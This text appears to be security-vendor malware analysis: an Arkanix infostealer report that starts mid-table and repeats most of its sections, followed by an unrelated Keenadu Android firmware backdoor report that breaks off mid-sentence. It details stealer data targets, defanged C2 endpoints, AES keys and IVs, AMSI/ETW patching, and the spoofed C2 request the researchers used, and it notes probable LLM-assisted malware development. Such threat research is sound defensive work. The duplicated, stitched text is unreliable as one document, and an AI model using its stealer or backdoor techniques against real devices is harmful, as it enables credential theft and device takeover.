/api/extra-collector/{payload_id}
Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC
/hvnc
Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
Native version of stealer
MD5
a3fc46332dcd0a95e336f6927bae8bb7
File name
ArkanixStealer.exe
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
The release version employs VMProtect, but does not utilize code virtualization.
The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
The debug version includes extensive logging, presumably for the authors’ debugging purposes.
Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
RDP connections
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
Gaming files
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
Steam
Epic Games Launcher
net
Riot
Origin
Unreal Engine
Ubisoft Connect
GOG
Screenshots
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
Post-exploitation browser data extractor
MD5
3283f8c54a3ddf0bc0d4111cc1f950c0
File name
–
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
Infrastructure
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
Domain
IP
First seen
ASN
arkanix[.]pw
195.246.231[.]60
Oct 09, 2025
–
arkanix[.]ru
172.67.186[.]193
Oct 19, 2025
–
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
Stealer promotion
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:
C++ native stealer
Exodus and Atomic cryptocurrency wallets injection
Increased payload generation, up to 10 payloads
Priority support
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Conclusions
Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
Technical details
Background
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
Initial infection or spreading
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
Python loader
MD5
208fa7e01f72a50334f3d7607f6b82bf
File name
discord_nitro_code_validator_right_aligned.py
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
Python stealer version
MD5
af8fd03c1ec81811acf16d4182f3b5e1
File name
–
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python version’s data collection features.
System info collection
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
OS version
CPU and GPU info
RAM size
Screen resolution
Keyboard layout
Time zone
Installed software
Antivirus software
VPN
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
Browser features
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:
Browser history (URLs, visit count and last visit)
Autofill information (email, phone, addresses and payment cards details)
Saved passwords
Cookies
In case of Chromium-based browsers, 0Auth2 data is also extracted
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram info collection
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
Discord capabilities
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
VPN data collection
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
Mullvad VPN
NordVPN
ExpressVPN
ProtonVPN
File retrieval
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).
Other payloads
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.
Module name
Endpoint to download
Details
Chrome grabber
/api/chrome-grabber-template/{payload_id}
–
Wallet patcher
/api/wallet-patcher/{payload_id}
Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector
/api/extra-collector/{payload_id}
Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC
/hvnc
Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
Native version of stealer
MD5
a3fc46332dcd0a95e336f6927bae8bb7
File name
ArkanixStealer.exe
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
The release version employs VMProtect, but does not utilize code virtualization.
The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
The debug version includes extensive logging, presumably for the authors’ debugging purposes.
Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
RDP connections
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
Gaming files
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
Steam
Epic Games Launcher
net
Riot
Origin
Unreal Engine
Ubisoft Connect
GOG
Screenshots
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
Post-exploitation browser data extractor
MD5
3283f8c54a3ddf0bc0d4111cc1f950c0
File name
–
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
Infrastructure
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
Domain
IP
First seen
ASN
arkanix[.]pw
195.246.231[.]60
Oct 09, 2025
–
arkanix[.]ru
172.67.186[.]193
Oct 19, 2025
–
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
Stealer promotion
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:
C++ native stealer
Exodus and Atomic cryptocurrency wallets injection
Increased payload generation, up to 10 payloads
Priority support
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Conclusions
Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.
In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.
This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.
Our findings can be summarized as follows:
We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.
The complete Keenadu infection chain looks like this:
Full infection diagram
Kaspersky solutions detect the threats described below with the following verdicts:
At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:
Call to the suspicious function
The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.
Payload decryption
The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.
Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.
Launching system_server in Zygote
The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.
The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:
Keenadu backdoor execution flow
It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.
AKClient architecture
AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.
AKServer architecture
At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:
Grant any permission to an arbitrary app on the device.
Revoke any permission from an arbitrary app on the device.
Retrieve the device’s geolocation.
Exfiltrate device information.
Malicious interface for permission management and device data collection
Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:
The encrypted address string is decoded using Base64.
The resulting data, a gzip-compressed buffer, is then decompressed.
The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".
After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:
m: the MD5 hash of the device IMEI
n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)
The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.
How Keenadu compromised libandroid_runtime.so
After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.
User complaints regarding suspicious DNS queries
The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:
67.198.232[.]4
67.198.232[.]187
The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.
To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparsecode); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.
We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.
Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.
During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.
Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.
The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.
Code snippet where the attacker inserted the malicious call
According to our data, the malicious dependency was located within the firmware source code repository at the following paths:
Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.
Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.
Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.
Keenadu backdoor modules
As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.
The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.
Example of payload metadata
Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):
After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".
The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.
Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.
Keenadu loader
This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:
com.amazon.mShop.android.shopping (Amazon)
com.zzkko (SHEIN)
com.einnovation.temu (Temu)
The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServerrequests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.
Data collection via the plugin
In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.
Use of an installation session
Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.
User complaint on Reddit
Clicker loader
These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:
Wallpaper (com.android.wallpaper)
YouTube (com.google.android.youtube)
Facebook (com.facebook.katana)
Digital Wellbeing (com.google.android.apps.wellbeing)
System launcher (com.android.launcher3)
Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:
